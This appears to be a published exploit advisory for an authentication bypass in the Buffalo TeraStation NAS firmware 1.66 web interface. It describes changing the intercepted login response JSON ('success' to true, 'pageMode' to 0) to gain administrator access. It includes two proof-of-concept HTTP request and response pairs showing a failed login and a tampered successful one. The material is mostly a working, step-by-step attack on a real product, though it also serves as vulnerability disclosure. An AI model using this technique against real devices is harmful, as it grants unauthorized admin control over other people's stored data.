Headline
Buffalo TeraStation Network Attached Storage (NAS) 1.66 Authentication Bypass
Buffalo TeraStation Network Attached Storage (NAS) version 1.66 suffers from an authentication bypass vulnerability.
# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass# Date: 2022-08-11# Exploit Author: JORDAN GLOVER# Type: WEBAPPS# Platform: HARDWARE# Vendor Homepage: https://www.buffalotech.com/# Model: TeraStation Series# Firmware Version: 1.66# Tested on: Windows 10 An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.POC #1 Authentication FailureRequestPOST /dynamic.pl HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 45Origin: http://localhostConnection: closeReferer: http://localhost/static/index.htmlbufaction=verifyLogin&user=Jordan&password=JordanResponseHTTP/1.1 200 OKContent-type: text/htmlPragma: no-cacheCache-Control: no-store, no-cache, must-revalidateCache-Control: post-check=0, pre-check=0Expires: Thu, 01 Dec 1994 16:00:00 GMTConnection: closeDate: Mon, 30 Jun 2008 02:39:51 GMTServer: lighttpd/1.4.32Content-Length: 94{"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}Incorrect Username or Password POC #2 Authentication SuccessRequestPOST /dynamic.pl HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: application/x-www-form-urlencodedContent-Length: 45Origin: http://localhostConnection: closeReferer: http://localhost/static/index.htmlbufaction=verifyLogin&user=Jordan&password=JordanIntercepted ResponseHTTP/1.1 200 OKContent-type: text/htmlPragma: no-cacheCache-Control: no-store, no-cache, must-revalidateCache-Control: post-check=0, pre-check=0Expires: Thu, 01 Dec 1994 16:00:00 GMTConnection: closeDate: Mon, 30 Jun 2008 02:39:51 GMTServer: lighttpd/1.4.32Content-Length: 94{"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}Login Successful